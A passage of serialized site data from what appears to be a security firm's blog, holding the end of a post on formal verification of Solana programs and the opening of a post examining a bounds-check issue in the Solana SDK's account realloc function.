false)]\n",{"type":26,"tag":217,"props":146615,"children":146616},{"class":7028,"line":7439},[146617,146621,146626],{"type":26,"tag":217,"props":146618,"children":146619},{"style":7154},[146620],{"type":32,"value":12224},{"type":26,"tag":217,"props":146622,"children":146623},{"style":7119},[146624],{"type":32,"value":146625}," Acc",{"type":26,"tag":217,"props":146627,"children":146628},{"style":7048},[146629],{"type":32,"value":8064},{"type":26,"tag":217,"props":146631,"children":146632},{"class":7028,"line":7487},[146633,146637,146642,146646],{"type":26,"tag":217,"props":146634,"children":146635},{"style":7154},[146636],{"type":32,"value":90798},{"type":26,"tag":217,"props":146638,"children":146639},{"style":7054},[146640],{"type":32,"value":146641}," bad",{"type":26,"tag":217,"props":146643,"children":146644},{"style":7149},[146645],{"type":32,"value":1473},{"type":26,"tag":217,"props":146647,"children":146648},{"style":7119},[146649],{"type":32,"value":146650}," bool\n",{"type":26,"tag":217,"props":146652,"children":146653},{"class":7028,"line":7524},[146654],{"type":26,"tag":217,"props":146655,"children":146656},{"style":7048},[146657],{"type":32,"value":7184},{"type":26,"tag":217,"props":146659,"children":146660},{"class":7028,"line":7553},[146661],{"type":26,"tag":217,"props":146662,"children":146663},{"emptyLinePlaceholder":17},[146664],{"type":32,"value":7817},{"type":26,"tag":217,"props":146666,"children":146667},{"class":7028,"line":7570},[146668,146672,146676],{"type":26,"tag":217,"props":146669,"children":146670},{"style":7154},[146671],{"type":32,"value":93881},{"type":26,"tag":217,"props":146673,"children":146674},{"style":7119},[146675],{"type":32,"value":146625},{"type":26,"tag":217,"props":146677,"children":146678},{"style":7048},[146679],{"type":32,"value":8064},{"type":26,"tag":217,"props":146681,"children":146682},{"class":7028,"line":7621},[146683,146687,146691,146696],{"type":26,"tag":217,"props":146684,"children":146685},{"style":7154},[146686],{"type":32,"value":90798},{"type":26,"tag":217,"props":146688,"children":146689},{"style":7154},[146690],{"type":32,"value":56835},{"type":26,"tag":217,"props":146692,"children":146693},{"style":7064},[146694],{"type":32,"value":146695}," put_into_bad_state",{"type":26,"tag":217,"props":146697,"children":146698},{"style":7048},[146699],{"type":32,"value":7841},{"type":26,"tag":217,"props":146701,"children":146702},{"class":7028,"line":7672},[146703,146707,146711,146716,146720,146724],{"type":26,"tag":217,"props":146704,"children":146705},{"style":7154},[146706],{"type":32,"value":145840},{"type":26,"tag":217,"props":146708,"children":146709},{"style":7149},[146710],{"type":32,"value":180},{"type":26,"tag":217,"props":146712,"children":146713},{"style":7048},[146714],{"type":32,"value":146715},"bad ",{"type":26,"tag":217,"props":146717,"children":146718},{"style":7149},[146719],{"type":32,"value":267},{"type":26,"tag":217,"props":146721,"children":146722},{"style":7154},[146723],{"type":32,"value":7902},{"type":26,"tag":217,"props":146725,"children":146726},{"style":7048},[146727],{"type":32,"value":7162},{"type":26,"tag":217,"props":146729,"children":146730},{"class":7028,"line":7681},[146731],{"type":26,"tag":217,"props":146732,"children":146733},{"style":7048},[146734],{"type":32,"value":9754},{"type":26,"tag":217,"props":146736,"children":146737},{"class":7028,"line":7754},[146738],{"type":26,"tag":217,"props":146739,"children":146740},{"style":7048},[146741],{"type":32,"value":7184},{"type":26,"tag":217,"props":146743,"children":146744},{"class":7028,"line":7784},[146745],{"type":26,"tag":217,"props":146746,"children":146747},{"emptyLinePlaceholder":17},[146748],{"type":32,"value":7817},{"type":26,"tag":217,"props":146750,"children":146751},{"class":7028,"line":7802},[146752],{"type":26,"tag":217,"props":146753,"children":146754},{"style":7033},[146755],{"type":32,"value":146756},"// Instruction handler:\n",{"type":26,"tag":217,"props":146758,"children":146759},{"class":7028,"line":7811},[146760,146764,146769,146773,146777,146781,146785,146789,146794,146798,146802,146806],{"type":26,"tag":217,"props":146761,"children":146762},{"style":7154},[146763],{"type":32,"value":77603},{"type":26,"tag":217,"props":146765,"children":146766},{"style":7064},[146767],{"type":32,"value":146768}," hard_to_verify",{"type":26,"tag":217,"props":146770,"children":146771},{"style":7048},[146772],{"type":32,"value":1851},{"type":26,"tag":217,"props":146774,"children":146775},{"style":7054},[146776],{"type":32,"value":79895},{"type":26,"tag":217,"props":146778,"children":146779},{"style":7149},[146780],{"type":32,"value":1473},{"type":26,"tag":217,"props":146782,"children":146783},{"style":7119},[146784],{"type":32,"value":91119},{"type":26,"tag":217,"props":146786,"children":146787},{"style":7048},[146788],{"type":32,"value":7289},{"type":26,"tag":217,"props":146790,"children":146791},{"style":7119},[146792],{"type":32,"value":146793},"MyCtx",{"type":26,"tag":217,"props":146795,"children":146796},{"style":7048},[146797],{"type":32,"value":93975},{"type":26,"tag":217,"props":146799,"children":146800},{"style":7149},[146801],{"type":32,"value":10115},{"type":26,"tag":217,"props":146803,"children":146804},{"style":7119},[146805],{"type":32,"value":56945},{"type":26,"tag":217,"props":146807,"children":146808},{"style":7048},[146809],{"type":32,"value":91163},{"type":26,"tag":217,"props":146811,"children":146812},{"class":7028,"line":7820},[146813,146818,146822,146826,146830],{"type":26,"tag":217,"props":146814,"children":146815},{"style":7064},[146816],{"type":32,"value":146817},"    invoke_signed",{"type":26,"tag":217,"props":146819,"children":146820},{"style":7048},[146821],{"type":32,"value":1851},{"type":26,"tag":217,"props":146823,"children":146824},{"style":7149},[146825],{"type":32,"value":13251},{"type":26,"tag":217,"props":146827,"children":146828},{"style":7048},[146829],{"type":32,"value":129319},{"type":26,"tag":217,"props":146831,"children":146832},{"style":7033},[146833],{"type":32,"value":146834},"// Cross-program invocation\n",{"type":26,"tag":217,"props":146836,"children":146837},{"class":7028,"line":7844},[146838],{"type":26,"tag":217,"props":146839,"children":146840},{"emptyLinePlaceholder":17},[146841],{"type":32,"value":7817},{"type":26,"tag":217,"props":146843,"children":146844},{"class":7028,"line":7910},[146845,146849,146854,146858,146862,146866],{"type":26,"tag":217,"props":146846,"children":146847},{"style":7154},[146848],{"type":32,"value":77780},{"type":26,"tag":217,"props":146850,"children":146851},{"style":7054},[146852],{"type":32,"value":146853}," invoke_res",{"type":26,"tag":217,"props":146855,"children":146856},{"style":7149},[146857],{"type":32,"value":8993},{"type":26,"tag":217,"props":146859,"children":146860},{"style":7149},[146861],{"type":32,"value":90342},{"type":26,"tag":217,"props":146863,"children":146864},{"style":7048},[146865],{"type":32,"value":13137},{"type":26,"tag":217,"props":146867,"children":146868},{"style":7033},[146869],{"type":32,"value":146870},"// fetch result of invocation\n",{"type":26,"tag":217,"props":146872,"children":146873},{"class":7028,"line":7954},[146874,146878,146882,146886,146891],{"type":26,"tag":217,"props":146875,"children":146876},{"style":7042},[146877],{"type":32,"value":9710},{"type":26,"tag":217,"props":146879,"children":146880},{"style":7054},[146881],{"type":32,"value":146853},{"type":26,"tag":217,"props":146883,"children":146884},{"style":7149},[146885],{"type":32,"value":11680},{"type":26,"tag":217,"props":146887,"children":146888},{"style":7130},[146889],{"type":32,"value":146890}," 5",{"type":26,"tag":217,"props":146892,"children":146893},{"style":7048},[146894],{"type":32,"value":8064},{"type":26,"tag":217,"props":146896,"children":146897},{"class":7028,"line":7985},[146898,146902,146906,146911,146915,146920,146924],{"type":26,"tag":217,"props":146899,"children":146900},{"style":7054},[146901],{"type":32,"value":78279},{"type":26,"tag":217,"props":146903,"children":146904},{"style":7149},[146905],{"type":32,"value":180},{"type":26,"tag":217,"props":146907,"children":146908},{"style":7048},[146909],{"type":32,"value":146910},"my_account",{"type":26,"tag":217,"props":146912,"children":146913},{"style":7149},[146914],{"type":32,"value":180},{"type":26,"tag":217,"props":146916,"children":146917},{"style":7064},[146918],{"type":32,"value":146919},"put_into_bad_state",{"type":26,"tag":217,"props":146921,"children":146922},{"style":7048},[146923],{"type":32,"value":81251},{"type":26,"tag":217,"props":146925,"children":146926},{"style":7033},[146927],{"type":32,"value":146928},"// corrupt our account\n",{"type":26,"tag":217,"props":146930,"children":146931},{"class":7028,"line":8027},[146932],{"type":26,"tag":217,"props":146933,"children":146934},{"style":7048},[146935],{"type":32,"value":9754},{"type":26,"tag":217,"props":146937,"children":146938},{"class":7028,"line":8035},[146939,146943],{"type":26,"tag":217,"props":146940,"children":146941},{"style":7119},[146942],{"type":32,"value":78087},{"type":26,"tag":217,"props":146944,"children":146945},{"style":7048},[146946],{"type":32,"value":91763},{"type":26,"tag":217,"props":146948,"children":146949},{"class":7028,"line":8067},[146950],{"type":26,"tag":217,"props":146951,"children":146952},{"style":7048},[146953],{"type":32,"value":7184},{"type":26,"tag":39,"props":146955,"children":146956},{},[146957,146959,146964],{"type":32,"value":146958},"The integrity of the verification framework relies on the fact that the account invariants for the accounts contained in the instruction (in this case ",{"type":26,"tag":83,"props":146960,"children":146962},{"className":146961},[],[146963],{"type":32,"value":146910},{"type":32,"value":146965},") will be maintained as long as the instruction succeeds.",{"type":26,"tag":39,"props":146967,"children":146968},{},[146969],{"type":32,"value":146970},"In this case, we can't really verify if the instruction succeeds or not (at least without knowing which program/instruction will be invoked).",{"type":26,"tag":39,"props":146972,"children":146973},{},[146974,146976,146981],{"type":32,"value":146975},"However, we can ",{"type":26,"tag":65,"props":146977,"children":146978},{},[146979],{"type":32,"value":146980},"augment",{"type":32,"value":146982}," our code with additional runtime constraints to ensure that the safety properties are preserved even if formal verification fails.",{"type":26,"tag":39,"props":146984,"children":146985},{},[146986],{"type":32,"value":146987},"In this case, we can add runtime assertions that ensure our runtime invariants hold. For example:",{"type":26,"tag":207,"props":146989,"children":146991},{"code":146990,"language":56139,"meta":8,"className":56140,"style":8},"...\nfn hard_to_verify(ctx: Context\u003CMyCtx>) -> Result\u003C()> {\n    invoke_signed(...); // Cross-program invocation\n\n    let invoke_res = ...; // fetch result of invocation\n    if invoke_res == 5 {\n        ctx.my_account.put_into_bad_state(); // corrupt our account\n    }\n\n    // Enforce invariants at runtime\n    assert(ctx.my_account.invariant());\n\n    Ok(())\n}\n",[146992],{"type":26,"tag":83,"props":146993,"children":146994},{"__ignoreMap":8},[146995,147003,147054,147077,147084,147111,147134,147165,147172,147179,147187,147222,147229,147240],{"type":26,"tag":217,"props":146996,"children":146997},{"class":7028,"line":7029},[146998],{"type":26,"tag":217,"props":146999,"children":147000},{"style":7149},[147001],{"type":32,"value":147002},"...\n",{"type":26,"tag":217,"props":147004,"children":147005},{"class":7028,"line":6770},[147006,147010,147014,147018,147022,147026,147030,147034,147038,147042,147046,147050],{"type":26,"tag":217,"props":147007,"children":147008},{"style":7154},[147009],{"type":32,"value":77603},{"type":26,"tag":217,"props":147011,"children":147012},{"style":7064},[147013],{"type":32,"value":146768},{"type":26,"tag":217,"props":147015,"children":147016},{"style":7048},[147017],{"type":32,"value":1851},{"type":26,"tag":217,"props":147019,"children":147020},{"style":7054},[147021],{"type":32,"value":79895},{"type":26,"tag":217,"props":147023,"children":147024},{"style":7149},[147025],{"type":32,"value":1473},{"type":26,"tag":217,"props":147027,"children":147028},{"style":7119},[147029],{"type":32,"value":91119},{"type":26,"tag":217,"props":147031,"children":147032},{"style":7048},[147033],{"type":32,"value":7289},{"type":26,"tag":217,"props":147035,"children":147036},{"style":7119},[147037],{"type":32,"value":146793},{"type":26,"tag":217,"props":147039,"children":147040},{"style":7048},[147041],{"type":32,"value":93975},{"type":26,"tag":217,"props":147043,"children":147044},{"style":7149},[147045],{"type":32,"value":10115},{"type":26,"tag":217,"props":147047,"children":147048},{"style":7119},[147049],{"type":32,"value":56945},{"type":26,"tag":217,"props":147051,"children":147052},{"style":7048},[147053],{"type":32,"value":91163},{"type":26,"tag":217,"props":147055,"children":147056},{"class":7028,"line":6779},[147057,147061,147065,147069,147073],{"type":26,"tag":217,"props":147058,"children":147059},{"style":7064},[147060],{"type":32,"value":146817},{"type":26,"tag":217,"props":147062,"children":147063},{"style":7048},[147064],{"type":32,"value":1851},{"type":26,"tag":217,"props":147066,"children":147067},{"style":7149},[147068],{"type":32,"value":13251},{"type":26,"tag":217,"props":147070,"children":147071},{"style":7048},[147072],{"type":32,"value":129319},{"type":26,"tag":217,"props":147074,"children":147075},{"style":7033},[147076],{"type":32,"value":146834},{"type":26,"tag":217,"props":147078,"children":147079},{"class":7028,"line":7140},[147080],{"type":26,"tag":217,"props":147081,"children":147082},{"emptyLinePlaceholder":17},[147083],{"type":32,"value":7817},{"type":26,"tag":217,"props":147085,"children":147086},{"class":7028,"line":7165},[147087,147091,147095,147099,147103,147107],{"type":26,"tag":217,"props":147088,"children":147089},{"style":7154},[147090],{"type":32,"value":77780},{"type":26,"tag":217,"props":147092,"children":147093},{"style":7054},[147094],{"type":32,"value":146853},{"type":26,"tag":217,"props":147096,"children":147097},{"style":7149},[147098],{"type":32,"value":8993},{"type":26,"tag":217,"props":147100,"children":147101},{"style":7149},[147102],{"type":32,"value":90342},{"type":26,"tag":217,"props":147104,"children":147105},{"style":7048},[147106],{"type":32,"value":13137},{"type":26,"tag":217,"props":147108,"children":147109},{"style":7033},[147110],{"type":32,"value":146870},{"type":26,"tag":217,"props":147112,"children":147113},{"class":7028,"line":7178},[147114,147118,147122,147126,147130],{"type":26,"tag":217,"props":147115,"children":147116},{"style":7042},[147117],{"type":32,"value":9710},{"type":26,"tag":217,"props":147119,"children":147120},{"style":7054},[147121],{"type":32,"value":146853},{"type":26,"tag":217,"props":147123,"children":147124},{"style":7149},[147125],{"type":32,"value":11680},{"type":26,"tag":217,"props":147127,"children":147128},{"style":7130},[147129],{"type":32,"value":146890},{"type":26,"tag":217,"props":147131,"children":147132},{"style":7048},[147133],{"type":32,"value":8064},{"type":26,"tag":217,"props":147135,"children":147136},{"class":7028,"line":7389},[147137,147141,147145,147149,147153,147157,147161],{"type":26,"tag":217,"props":147138,"children":147139},{"style":7054},[147140],{"type":32,"value":78279},{"type":26,"tag":217,"props":147142,"children":147143},{"style":7149},[147144],{"type":32,"value":180},{"type":26,"tag":217,"props":147146,"children":147147},{"style":7048},[147148],{"type":32,"value":146910},{"type":26,"tag":217,"props":147150,"children":147151},{"style":7149},[147152],{"type":32,"value":180},{"type":26,"tag":217,"props":147154,"children":147155},{"style":7064},[147156],{"type":32,"value":146919},{"type":26,"tag":217,"props":147158,"children":147159},{"style":7048},[147160],{"type":32,"value":81251},{"type":26,"tag":217,"props":147162,"children":147163},{"style":7033},[147164],{"type":32,"value":146928},{"type":26,"tag":217,"props":147166,"children":147167},{"class":7028,"line":7406},[147168],{"type":26,"tag":217,"props":147169,"children":147170},{"style":7048},[147171],{"type":32,"value":9754},{"type":26,"tag":217,"props":147173,"children":147174},{"class":7028,"line":7439},[147175],{"type":26,"tag":217,"props":147176,"children":147177},{"emptyLinePlaceholder":17},[147178],{"type":32,"value":7817},{"type":26,"tag":217,"props":147180,"children":147181},{"class":7028,"line":7487},[147182],{"type":26,"tag":217,"props":147183,"children":147184},{"style":7033},[147185],{"type":32,"value":147186},"    // Enforce invariants at runtime\n",{"type":26,"tag":217,"props":147188,"children":147189},{"class":7028,"line":7524},[147190,147194,147198,147202,147206,147210,147214,147218],{"type":26,"tag":217,"props":147191,"children":147192},{"style":7064},[147193],{"type":32,"value":137815},{"type":26,"tag":217,"props":147195,"children":147196},{"style":7048},[147197],{"type":32,"value":1851},{"type":26,"tag":217,"props":147199,"children":147200},{"style":7054},[147201],{"type":32,"value":79895},{"type":26,"tag":217,"props":147203,"children":147204},{"style":7149},[147205],{"type":32,"value":180},{"type":26,"tag":217,"props":147207,"children":147208},{"style":7048},[147209],{"type":32,"value":146910},{"type":26,"tag":217,"props":147211,"children":147212},{"style":7149},[147213],{"type":32,"value":180},{"type":26,"tag":217,"props":147215,"children":147216},{"style":7064},[147217],{"type":32,"value":140298},{"type":26,"tag":217,"props":147219,"children":147220},{"style":7048},[147221],{"type":32,"value":8348},{"type":26,"tag":217,"props":147223,"children":147224},{"class":7028,"line":7553},[147225],{"type":26,"tag":217,"props":147226,"children":147227},{"emptyLinePlaceholder":17},[147228],{"type":32,"value":7817},{"type":26,"tag":217,"props":147230,"children":147231},{"class":7028,"line":7570},[147232,147236],{"type":26,"tag":217,"props":147233,"children":147234},{"style":7119},[147235],{"type":32,"value":78087},{"type":26,"tag":217,"props":147237,"children":147238},{"style":7048},[147239],{"type":32,"value":91763},{"type":26,"tag":217,"props":147241,"children":147242},{"class":7028,"line":7621},[147243],{"type":26,"tag":217,"props":147244,"children":147245},{"style":7048},[147246],{"type":32,"value":7184},{"type":26,"tag":39,"props":147248,"children":147249},{},[147250,147252,147257,147259,147264,147266,147271],{"type":32,"value":147251},"Here, we explicitly ",{"type":26,"tag":83,"props":147253,"children":147255},{"className":147254},[],[147256],{"type":32,"value":138549},{"type":32,"value":147258}," that our invariants hold at ",{"type":26,"tag":65,"props":147260,"children":147261},{},[147262],{"type":32,"value":147263},"runtime",{"type":32,"value":147265}," which allows us to be assured that ",{"type":26,"tag":83,"props":147267,"children":147269},{"className":147268},[],[147270],{"type":32,"value":146910},{"type":32,"value":147272}," will not enter a bad state as a result of some unverifiable behavior.",{"type":26,"tag":39,"props":147274,"children":147275},{},[147276],{"type":32,"value":147277},"In general techniques like this can be used to tidy up the loose ends that formal verification may struggle with.",{"type":26,"tag":27,"props":147279,"children":147281},{"id":147280},"challenges-of-formal-verification-on-solana",[147282],{"type":32,"value":147283},"Challenges of formal verification on Solana",{"type":26,"tag":607,"props":147285,"children":147287},{"id":147286},"expensive-computation",[147288],{"type":32,"value":147289},"Expensive computation",{"type":26,"tag":39,"props":147291,"children":147292},{},[147293,147295,147300],{"type":32,"value":147294},"As we started exploring this project, we were hoping to see it work straight out of the box. Unfortunately, that was not the case. Harkening back to our friend ",{"type":26,"tag":65,"props":147296,"children":147297},{},[147298],{"type":32,"value":147299},"path explosion",{"type":32,"value":147301},", it is often the case that bounded model checking just grinds and grinds on the problem and is not able to produce a solution.",{"type":26,"tag":39,"props":147303,"children":147304},{},[147305,147307,147312],{"type":32,"value":147306},"In order to make this technique more widely applicable, we've been developing a runtime SDK layer that is more ",{"type":26,"tag":65,"props":147308,"children":147309},{},[147310],{"type":32,"value":147311},"formal verification friendly",{"type":32,"value":147313},". Specifically our tool will replace certain built-in SDK functions and structures with less expensive ones in the context of symbolic execution.",{"type":26,"tag":39,"props":147315,"children":147316},{},[147317,147319,147324,147326,147331],{"type":32,"value":147318},"For example, when verifying things like the uniqueness of a ",{"type":26,"tag":83,"props":147320,"children":147322},{"className":147321},[],[147323],{"type":32,"value":93369},{"type":32,"value":147325}," in a ",{"type":26,"tag":83,"props":147327,"children":147329},{"className":147328},[],[147330],{"type":32,"value":907},{"type":32,"value":147332},", the native program may generate extremely large SMT expressions containing nested 32-byte comparisons and binary searches on a vector.",{"type":26,"tag":39,"props":147334,"children":147335},{},[147336,147338,147343,147345,147350,147352,147357,147359,147364,147366,147371,147373,147378],{"type":32,"value":147337},"However, in most cases the properties we are interested in do not require specific search algorithms for the ",{"type":26,"tag":83,"props":147339,"children":147341},{"className":147340},[],[147342],{"type":32,"value":907},{"type":32,"value":147344}," or a 32-byte ",{"type":26,"tag":83,"props":147346,"children":147348},{"className":147347},[],[147349],{"type":32,"value":93369},{"type":32,"value":147351},". Instead, our tool can substitute in ",{"type":26,"tag":65,"props":147353,"children":147354},{},[147355],{"type":32,"value":147356},"cheaper",{"type":32,"value":147358}," types and functions, such as a 4-byte ",{"type":26,"tag":83,"props":147360,"children":147362},{"className":147361},[],[147363],{"type":32,"value":93369},{"type":32,"value":147365}," struct and a fixed-size, array-backed ",{"type":26,"tag":83,"props":147367,"children":147369},{"className":147368},[],[147370],{"type":32,"value":907},{"type":32,"value":147372}," implementation. These structures are API-compatible with the native SDK and the changes are functionally invisible to the Solana program we are verifying. However, the generated expressions are ",{"type":26,"tag":65,"props":147374,"children":147375},{},[147376],{"type":32,"value":147377},"much",{"type":32,"value":147379}," simpler and we find that these techniques can greatly accelerate the speed of model-checking.",{"type":26,"tag":39,"props":147381,"children":147382},{},[147383],{"type":32,"value":147384},"It is of key importance that these SDK modifications do not introduce any unsoundness into the model-checking process. We are actively exploring how to do this effectively.",{"type":26,"tag":607,"props":147386,"children":147388},{"id":147387},"runtime-environment",[147389],{"type":32,"value":147390},"Runtime Environment",{"type":26,"tag":39,"props":147392,"children":147393},{},[147394],{"type":32,"value":147395},"While these techniques are quite capable of verifying pure-Rust constructs such as the logical flow of the program, use of Rust types, etc... other aspects of the Solana runtime environment are more difficult to verify.",{"type":26,"tag":39,"props":147397,"children":147398},{},[147399],{"type":32,"value":147400},"For example, a program may resize accounts to store variable amounts of data. These types of custom serialization algorithms require specialized techniques to verify account invariants. For example, a bug with account serialization could undermine \"correct\" account logic.",{"type":26,"tag":39,"props":147402,"children":147403},{},[147404],{"type":32,"value":147405},"Another example is cross-program invocation (CPI). While account data cannot be changed by other programs, when you invoke other instructions it becomes more difficult to verify instruction invariants. An instruction three levels down could fail and cause the whole transaction to revert.",{"type":26,"tag":27,"props":147407,"children":147408},{"id":9272},[147409],{"type":32,"value":9275},{"type":26,"tag":39,"props":147411,"children":147412},{},[147413],{"type":32,"value":147414},"Computer security is far from being a solved problem. Formal verification is a great technique but it is not a magic bullet. While it can help you verify the correctness of your program it won't catch 100% of the bugs. It won't stop you from specifying the wrong invariants or forgetting things, and it can't help you if there is a bug outside of the scope of the model — for example in the runtime or consensus layer.",{"type":26,"tag":39,"props":147416,"children":147417},{},[147418],{"type":32,"value":147419},"Disclaimer out of the way, we believe that formal verification can still be a very useful tool when applied correctly. We've demonstrated that it is possible to automatically prove invariants about Solana programs in a tractable and user-friendly way.",{"type":26,"tag":11933,"props":147421,"children":147422},{},[],{"type":26,"tag":39,"props":147424,"children":147425},{},[147426],{"type":26,"tag":65,"props":147427,"children":147428},{},[147429,147431,147436,147437,147441],{"type":32,"value":147430},"We're excited to keep pushing this research forward and enhance the security of the whole Solana ecosystem. Our tools are still in development but we're interested in working with other teams. If you have a Solana program you want to get formally verified, give us a shout! Fill out ",{"type":26,"tag":163,"props":147432,"children":147434},{"href":137457,"rel":147433},[167],[147435],{"type":32,"value":137461},{"type":32,"value":137463},{"type":26,"tag":163,"props":147438,"children":147439},{"href":137466},[147440],{"type":32,"value":137469},{"type":32,"value":180},{"type":26,"tag":9282,"props":147443,"children":147444},{},[147445],{"type":32,"value":9286},{"title":8,"searchDepth":6770,"depth":6770,"links":147447},[147448,147454,147458,147463,147469,147473],{"id":137530,"depth":6770,"text":137533,"children":147449},[147450,147451,147452,147453],{"id":115972,"depth":6779,"text":115975},{"id":137602,"depth":6779,"text":137605},{"id":138470,"depth":6779,"text":138473},{"id":138509,"depth":6779,"text":138512},{"id":138562,"depth":6770,"text":147455,"children":147456},"Specification: How can we describe what we want our program to do?",[147457],{"id":138675,"depth":6779,"text":138678},{"id":140012,"depth":6770,"text":140015,"children":147459},[147460,147461,147462],{"id":140664,"depth":6779,"text":140667},{"id":140946,"depth":6779,"text":140949},{"id":141090,"depth":6779,"text":141093},{"id":141231,"depth":6770,"text":141234,"children":147464},[147465,147466,147467,147468],{"id":141302,"depth":6779,"text":141305},{"id":143130,"depth":6779,"text":143133},{"id":143927,"depth":6779,"text":141294},{"id":146443,"depth":6779,"text":141299},{"id":147280,"depth":6770,"text":147283,"children":147470},[147471,147472],{"id":147286,"depth":6779,"text":147289},{"id":147387,"depth":6779,"text":147390},{"id":9272,"depth":6770,"text":9275},"content:blog:2023-01-26-formally-verifying-solana-programs.md","blog/2023-01-26-formally-verifying-solana-programs.md","blog/2023-01-26-formally-verifying-solana-programs",{"_path":147478,"_dir":6,"_draft":7,"_partial":7,"_locale":8,"title":147479,"description":147480,"author":147481,"image":147482,"date":147484,"isFeatured":17,"onBlogPage":17,"tags":147485,"body":147487,"_type":6799,"_id":152509,"_source":6801,"_file":152510,"_stem":152511,"_extension":6804},"/blog/2022-12-09-rust-realloc-and-references","Rust, Realloc, and References","Rust is safe.. right? Not if your dependencies are unsafe.. A deep dive into a subtle Solana SDK bug, Rust internals, and how we found it all.","ethan",{"src":147483,"height":126023,"width":6817},"/posts/rust-realloc-and-references/title.jpg","2022-12-09",[137334,147486],"tutorial",{"type":23,"children":147488,"toc":152493},[147489,147516,147536,148185,148205,148216,148228,148361,148371,148377,148403,148732,148776,149098,149160,149173,149244,149309,149329,149342,149356,149693,149704,149709,149840,149890,149916,149928,150101,150235,150275,150312,150373,150378,150414,150468,150479,150619,150631,150637,150643,150676,150690,150811,150830,150858,150864,150951,151040,151046,151051,151097,151363,151438,151449,151475,151807,151819,151891,152161,152197,152489],{"type":26,"tag":39,"props":147490,"children":147491},{},[147492,147494,147500,147502,147507,147509,147514],{"type":32,"value":147493},"It all started with an audit of a program that used ",{"type":26,"tag":83,"props":147495,"children":147497},{"className":147496},[],[147498],{"type":32,"value":147499},"realloc",{"type":32,"value":147501}," on an account, without any bounds checks on the new size allowed. It seemed like the developers assumed that if the new size was too large, the ",{"type":26,"tag":83,"props":147503,"children":147505},{"className":147504},[],[147506],{"type":32,"value":147499},{"type":32,"value":147508}," call (from ",{"type":26,"tag":83,"props":147510,"children":147512},{"className":147511},[],[147513],{"type":32,"value":124242},{"type":32,"value":147515},") would error out appropriately.",{"type":26,"tag":39,"props":147517,"children":147518},{},[147519,147521,147527,147528,147535],{"type":32,"value":147520},"But we're not ones to just assume things around here, so let's take a look at how ",{"type":26,"tag":83,"props":147522,"children":147524},{"className":147523},[],[147525],{"type":32,"value":147526},"AccountInfo::realloc",{"type":32,"value":1681},{"type":26,"tag":163,"props":147529,"children":147532},{"href":147530,"rel":147531},"https://docs.rs/solana-program/1.10.28/src/solana_program/account_info.rs.html#124-148",[167],[147533],{"type":32,"value":147534},"implemented",{"type":32,"value":1473},{"type":26,"tag":207,"props":147537,"children":147539},{"className":56140,"code":147538,"language":56139,"meta":8,"style":8},"pub fn realloc(&self, new_len: usize, zero_init: bool) -> Result\u003C(), ProgramError> {\n    let orig_len = self.data_len();\n\n    // realloc\n    unsafe {\n        // First set new length in the serialized data\n        let ptr = self.try_borrow_mut_data()?.as_mut_ptr().offset(-8) as *mut u64;\n        *ptr = new_len as u64;\n\n        // Then set the new length in the local slice\n        let ptr = &mut *(((self.data.as_ptr() as *const u64).offset(1) as u64) as *mut u64);\n        *ptr = new_len as u64;\n    }\n\n    // zero-init if requested\n    if zero_init && new_len > orig_len {\n        sol_memset(\n            &mut self.try_borrow_mut_data()?[orig_len..],\n            0,\n            new_len.saturating_sub(orig_len),\n        );\n    }\n\n    Ok(())\n}\n",[147540],{"type":26,"tag":83,"props":147541,"children":147542},{"__ignoreMap":8},[147543,147630,147662,147669,147677,147688,147696,147784,147816,147823,147831,147960,147991,147998,148005,148013,148045,148057,148105,148117,148146,148153,148160,148167,148178],{"type":26,"tag":217,"props":147544,"children":147545},{"class":7028,"line":7029},[147546,147550,147554,147559,147563,147567,147571,147575,147580,147584,147588,147592,147597,147601,147605,147609,147613,147617,147621,147626],{"type":26,"tag":217,"props":147547,"children":147548},{"style":7154},[147549],{"type":32,"value":56830},{"type":26,"tag":217,"props":147551,"children":147552},{"style":7154},[147553],{"type":32,"value":56835},{"type":26,"tag":217,"props":147555,"children":147556},{"style":7064},[147557],{"type":32,"value":147558}," realloc",{"type":26,"tag":217,"props":147560,"children":147561},{"style":7048},[147562],{"type":32,"value":1851},{"type":26,"tag":217,"props":147564,"children":147565},{"style":7149},[147566],{"type":32,"value":9804},{"type":26,"tag":217,"props":147568,"children":147569},{"style":7154},[147570],{"type":32,"value":91922},{"type":26,"tag":217,"props":147572,"children":147573},{"style":7048},[147574],{"type":32,"value":7599},{"type":26,"tag":217,"props":147576,"children":147577},{"style":7054},[147578],{"type":32,"value":147579},"new_len",{"type":26,"tag":217,"props":147581,"children":147582},{"style":7149},[147583],{"type":32,"value":1473},{"type":26,"tag":217,"props":147585,"children":147586},{"style":7119},[147587],{"type":32,"value":94410},{"type":26,"tag":217,"props":147589,"children":147590},{"style":7048},[147591],{"type":32,"value":7599},{"type":26,"tag":217,"props":147593,"children":147594},{"style":7054},[147595],{"type":32,"value":147596},"zero_init",{"type":26,"tag":217,"props":147598,"children":147599},{"style":7149},[147600],{"type":32,"value":1473},{"type":26,"tag":217,"props":147602,"children":147603},{"style":7119},[147604],{"type":32,"value":79568},{"type":26,"tag":217,"props":147606,"children":147607},{"style":7048},[147608],{"type":32,"value":8380},{"type":26,"tag":217,"props":147610,"children":147611},{"style":7149},[147612],{"type":32,"value":10115},{"type":26,"tag":217,"props":147614,"children":147615},{"style":7119},[147616],{"type":32,"value":56945},{"type":26,"tag":217,"props":147618,"children":147619},{"style":7048},[147620],{"type":32,"value":92623},{"type":26,"tag":217,"props":147622,"children":147623},{"style":7119},[147624],{"type":32,"value":147625},"ProgramError",{"type":26,"tag":217,"props":147627,"children":147628},{"style":7048},[147629],{"type":32,"value":77772},{"type":26,"tag":217,"props":147631,"children":147632},{"class":7028,"line":6770},[147633,147637,147642,147646,147650,147654,147658],{"type":26,"tag":217,"props":147634,"children":147635},{"style":7154},[147636],{"type":32,"value":77780},{"type":26,"tag":217,"props":147638,"children":147639},{"style":7054},[147640],{"type":32,"value":147641}," 